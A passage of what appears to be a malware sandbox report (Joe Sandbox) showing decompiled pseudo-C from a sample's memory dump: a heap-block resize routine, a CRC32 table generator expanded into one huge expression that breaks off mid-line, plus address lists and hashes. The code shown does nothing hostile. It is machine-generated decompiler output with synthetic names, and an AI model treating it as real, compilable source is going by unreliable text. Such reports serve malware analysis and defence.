				signed char _t235;
				signed int* _t237;
				signed int* _t239;
				signed int* _t244;
				signed int* _t245;
				signed char _t250;
				intOrPtr _t256;
				signed int _t257;
				char _t258;
				char _t259;
				signed char _t260;
				signed int* _t262;
				signed int* _t267;
				signed int* _t268;
				char* _t270;
				signed int _t274;
				unsigned int _t275;
				intOrPtr _t277;
				unsigned int _t278;
				intOrPtr* _t280;
				void* _t281;
				signed char _t290;
				signed int _t292;
				signed char _t295;
				signed int _t298;
				signed int _t302;
				signed int* _t304;

				_t222 = _a4;
				_t280 = _a8;
				_t186 =  *((intOrPtr*)(_t222 + 0x10));
				_t292 = _a12 + 0x00000017 & 0xfffffff0;
				_t274 = _t280 -  *((intOrPtr*)(_t222 + 0xc)) >> 0xf;
				_v16 = _t274 * 0x204 + _t186 + 0x144;
				_t227 =  *((intOrPtr*)(_t280 - 4)) - 1;
				_a12 = _t227;
				_t194 =  *(_t227 + _t280 - 4);
				_t281 = _t227 + _t280 - 4;
				_v8 = _t194;
				if(_t292 <= _t227) {
					if(__eflags < 0) {
						_t195 = _a8;
						_a12 = _a12 - _t292;
						_t228 = _t292 + 1;
						 *((intOrPtr*)(_t195 - 4)) = _t228;
						_t196 = _t195 + _t292 - 4;
						_a8 = _t196;
						_t295 = (_a12 >> 4) - 1;
						 *((intOrPtr*)(_t196 - 4)) = _t228;
						__eflags = _t295 - 0x3f;
						if(_t295 > 0x3f) {
							_t295 = 0x3f;
						}
						__eflags = _v8 & 0x00000001;
						if((_v8 & 0x00000001) == 0) {
							_t298 = (_v8 >> 4) - 1;
							__eflags = _t298 - 0x3f;
							if(_t298 > 0x3f) {
								_t298 = 0x3f;
							}
							__eflags =  *((intOrPtr*)(_t281 + 4)) -  *((intOrPtr*)(_t281 + 8));
							if( *((intOrPtr*)(_t281 + 4)) ==  *((intOrPtr*)(_t281 + 8))) {
								__eflags = _t298 - 0x20;
								if(_t298 >= 0x20) {
									_t128 = _t298 - 0x20; // -32
									_t130 = _t186 + 4; // 0x4
									_t244 = _t298 + _t130;
									_t199 =  !(0x80000000 >> _t128);
									 *(_t186 + 0xc4 + _t274 * 4) =  *(_t186 + 0xc4 + _t274 * 4) & 0x80000000;
									 *_t244 =  *_t244 - 1;
									__eflags =  *_t244;
									if( *_t244 == 0) {
										_t245 = _a4;
										_t138 = _t245 + 4;
										 *_t138 =  *(_t245 + 4) & _t199;
										__eflags =  *_t138;
									}
								} else {
									_t304 = _t298 + _t186 + 4;
									_t202 =  !(0x80000000 >> _t298);
									 *(_t186 + 0x44 + _t274 * 4) =  *(_t186 + 0x44 + _t274 * 4) & 0x80000000;
									 *_t304 =  *_t304 - 1;
									__eflags =  *_t304;
									if( *_t304 == 0) {
										 *_a4 =  *_a4 & _t202;
									}
								}
								_t196 = _a8;
							}
							 *((intOrPtr*)( *((intOrPtr*)(_t281 + 8)) + 4)) =  *((intOrPtr*)(_t281 + 4));
							 *((intOrPtr*)( *((intOrPtr*)(_t281 + 4)) + 8)) =  *((intOrPtr*)(_t281 + 8));
							_t302 = _a12 + _v8;
							_a12 = _t302;
							_t295 = (_t302 >> 4) - 1;
							__eflags = _t295 - 0x3f;
							if(_t295 > 0x3f) {
								_t295 = 0x3f;
							}
						}
						_t229 = _v16;
						_t230 = _t229 + _t295 * 8;
						 *((intOrPtr*)(_t196 + 4)) =  *((intOrPtr*)(_t229 + 4 + _t295 * 8));
						 *((intOrPtr*)(_t196 + 8)) = _t230;
						 *((intOrPtr*)(_t230 + 4)) = _t196;
						 *((intOrPtr*)( *((intOrPtr*)(_t196 + 4)) + 8)) = _t196;
						__eflags =  *((intOrPtr*)(_t196 + 4)) -  *((intOrPtr*)(_t196 + 8));
						if( *((intOrPtr*)(_t196 + 4)) ==  *((intOrPtr*)(_t196 + 8))) {
							_t233 =  *(_t295 + _t186 + 4);
							__eflags = _t295 - 0x20;
							_a11 = _t233;
							_t234 = _t233 + 1;
							__eflags = _t234;
							 *(_t295 + _t186 + 4) = _t234;
							if(_t234 >= 0) {
								__eflags = _a11;
								if(_a11 == 0) {
									_t237 = _a4;
									_t176 = _t237 + 4;
									 *_t176 =  *(_t237 + 4) | 0x80000000 >> _t295 - 0x00000020;
									__eflags =  *_t176;
								}
								_t189 = _t186 + 0xc4 + _t274 * 4;
								_t235 = _t295 - 0x20;
								_t275 = 0x80000000;
							} else {
								__eflags = _a11;
								if(_a11 == 0) {
									_t239 = _a4;
									 *_t239 =  *_t239 | 0x80000000 >> _t295;
									__eflags =  *_t239;
								}
								_t189 = _t186 + 0x44 + _t274 * 4;
								_t275 = 0x80000000;
								_t235 = _t295;
							}
							 *_t189 =  *_t189 | _t275 >> _t235;
							__eflags =  *_t189;
						}
						_t188 = _a12;
						 *_t196 = _t188;
						 *((intOrPtr*)(_t188 + _t196 - 4)) = _t188;
					}
					L52:
					_t187 = 1;
					return _t187;
				}
				if((_t194 & 0x00000001) != 0 || _t292 > _t194 + _t227) {
					return 0;
				} else {
					_t250 = (_v8 >> 4) - 1;
					_v12 = _t250;
					if(_t250 > 0x3f) {
						_t250 = 0x3f;
						_v12 = _t250;
					}
					if( *((intOrPtr*)(_t281 + 4)) ==  *((intOrPtr*)(_t281 + 8))) {
						if(_t250 >= 0x20) {
							_t267 = _v12 + _t186 + 4;
							_t218 =  !(0x80000000 >> _t250 + 0xffffffe0);
							 *(_t186 + 0xc4 + _t274 * 4) =  *(_t186 + 0xc4 + _t274 * 4) & 0x80000000;
							 *_t267 =  *_t267 - 1;
							__eflags =  *_t267;
							if( *_t267 == 0) {
								_t268 = _a4;
								_t44 = _t268 + 4;
								 *_t44 =  *(_t268 + 4) & _t218;
								__eflags =  *_t44;
							}
						} else {
							_t270 = _v12 + _t186 + 4;
							_t221 =  !(0x80000000 >> _t250);
							 *(_t186 + 0x44 + _t274 * 4) =  *(_t186 + 0x44 + _t274 * 4) & 0x80000000;
							 *_t270 =  *_t270 - 1;
							if( *_t270 == 0) {
								 *_a4 =  *_a4 & _t221;
							}
						}
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t281 + 8)) + 4)) =  *((intOrPtr*)(_t281 + 4));
					 *((intOrPtr*)( *((intOrPtr*)(_t281 + 4)) + 8)) =  *((intOrPtr*)(_t281 + 8));
					_v8 = _v8 + _a12 - _t292;
					if(_v8 <= 0) {
						_t277 = _a8;
					} else {
						_t290 = (_v8 >> 4) - 1;
						_t256 = _a8 + _t292 - 4;
						if(_t290 > 0x3f) {
							_t290 = 0x3f;
						}
						_t207 = _v16 + _t290 * 8;
						_a12 = _t207;
						 *((intOrPtr*)(_t256 + 4)) =  *((intOrPtr*)(_t207 + 4));
						_t209 = _a12;
						 *(_t256 + 8) = _t209;
						 *((intOrPtr*)(_t209 + 4)) = _t256;
						 *((intOrPtr*)( *((intOrPtr*)(_t256 + 4)) + 8)) = _t256;
						if( *((intOrPtr*)(_t256 + 4)) ==  *(_t256 + 8)) {
							_t258 =  *((intOrPtr*)(_t290 + _t186 + 4));
							_a15 = _t258;
							_t259 = _t258 + 1;
							 *((char*)(_t290 + _t186 + 4)) = _t259;
							if(_t259 >= 0) {
								__eflags = _a15;
								if(_a15 == 0) {
									_t84 = _t290 - 0x20; // -33
									_t262 = _a4;
									_t86 = _t262 + 4;
									 *_t86 =  *(_t262 + 4) | 0x80000000 >> _t84;
									__eflags =  *_t86;
								}
								_t193 = _t186 + 0xc4 + _t274 * 4;
								_t91 = _t290 - 0x20; // -33
								_t260 = _t91;
								_t278 = 0x80000000;
							} else {
								if(_a15 == 0) {
									 *_a4 =  *_a4 | 0x80000000 >> _t290;
								}
								_t193 = _t186 + 0x44 + _t274 * 4;
								_t278 = 0x80000000;
								_t260 = _t290;
							}
							 *_t193 =  *_t193 | _t278 >> _t260;
						}
						_t277 = _a8;
						_t257 = _v8;
						_t192 = _t277 + _t292 - 4;
						 *_t192 = _t257;
						 *(_t257 + _t192 - 4) = _t257;
					}
					_t191 = _t292 + 1;
					 *((intOrPtr*)(_t277 - 4)) = _t191;
					 *((intOrPtr*)(_t277 + _t292 - 8)) = _t191;
					goto L52;
				}
			}

0x004162ac
0x004162b5
0x004162c0
0x004162c3
0x004162c6
0x004162d8
0x004162de
0x004162e1
0x004162e4
0x004162e8
0x004162ec
0x004162ef
0x00416454
0x0041645a
0x0041645d
0x00416460
0x00416463
0x00416466
0x0041646d
0x00416473
0x00416474
0x00416477
0x0041647a
0x0041647e
0x0041647e
0x0041647f
0x00416483
0x0041648f
0x00416490
0x00416493
0x00416497
0x00416497
0x0041649b
0x0041649e
0x004164a0
0x004164a3
0x004164c3
0x004164cd
0x004164cd
0x004164d1
0x004164d3
0x004164da
0x004164da
0x004164dc
0x004164de
0x004164e1
0x004164e1
0x004164e1
0x004164e1
0x004164a5
0x004164ae
0x004164b2
0x004164b4
0x004164b8
0x004164b8
0x004164ba
0x004164bf
0x004164bf
0x004164ba
0x004164e4
0x004164e4
0x004164ed
0x004164f6
0x004164fc
0x004164ff
0x00416505
0x00416506
0x00416509
0x0041650d
0x0041650d
0x00416509
0x0041650e
0x00416515
0x00416518
0x0041651b
0x0041651e
0x00416524
0x0041652a
0x0041652d
0x0041652f
0x00416533
0x00416536
0x00416539
0x00416539
0x0041653b
0x0041653f
0x00416562
0x00416566
0x00416572
0x00416575
0x00416575
0x00416575
0x00416575
0x00416578
0x0041657f
0x00416582
0x00416541
0x00416541
0x00416545
0x00416550
0x00416553
0x00416553
0x00416553
0x00416555
0x00416559
0x0041655e
0x0041655e
0x00416589
0x00416589
0x00416589
0x0041658b
0x0041658e
0x00416590
0x00416590
0x00416594
0x00416596
0x00000000
0x00416596
0x004162f8
0x00000000
0x00416308
0x0041630e
0x00416312
0x00416315
0x00416319
0x0041631a
0x0041631a
0x00416323
0x00416328
0x00416356
0x0041635a
0x0041635c
0x00416363
0x00416363
0x00416365
0x00416367
0x0041636a
0x0041636a
0x0041636a
0x0041636a
0x0041632a
0x00416334
0x00416338
0x0041633a
0x0041633e
0x00416340
0x00416345
0x00416345
0x00416340
0x00416328
0x00416373
0x0041637c
0x00416384
0x0041638b
0x0041643b
0x00416391
0x0041639a
0x0041639b
0x004163a2
0x004163a6
0x004163a6
0x004163aa
0x004163ad
0x004163b3
0x004163b6
0x004163b9
0x004163bc
0x004163c2
0x004163cb
0x004163cd
0x004163d4
0x004163d7
0x004163d9
0x004163dd
0x00416400
0x00416404
0x00416406
0x00416410
0x00416413
0x00416413
0x00416413
0x00416413
0x00416416
0x0041641d
0x0041641d
0x00416420
0x004163df
0x004163e3
0x004163f1
0x004163f1
0x004163f3
0x004163f7
0x004163fc
0x004163fc
0x00416427
0x00416427
0x00416429
0x0041642c
0x0041642f
0x00416433
0x00416435
0x00416435
0x0041643e
0x00416441
0x00416444
0x00000000
0x00416444

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc60ecf50bd115ca0c6ea2745a91e2bccda0b72c85d336beea95e2ba67d1c3a9
Instruction ID: ff32ffadf5a964956f90e5d4d875ac86f6d3b74cc38b5144254d495ff0ae7514
Opcode Fuzzy Hash: fc60ecf50bd115ca0c6ea2745a91e2bccda0b72c85d336beea95e2ba67d1c3a9
Instruction Fuzzy Hash: D3B18E75A0020ADFDB15CF04C5D0AE9BBA2BF58318F25C19EC85A4B346C735EE82CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00403A01 Relevance: .1, Instructions: 82
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00403A01() {
				void* _t37;
				signed int _t38;
				signed int _t72;

				_t72 = 0;
				do {
					 *(0x4236c0 + _t72 * 4) =  !((( !((( !((( !((( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 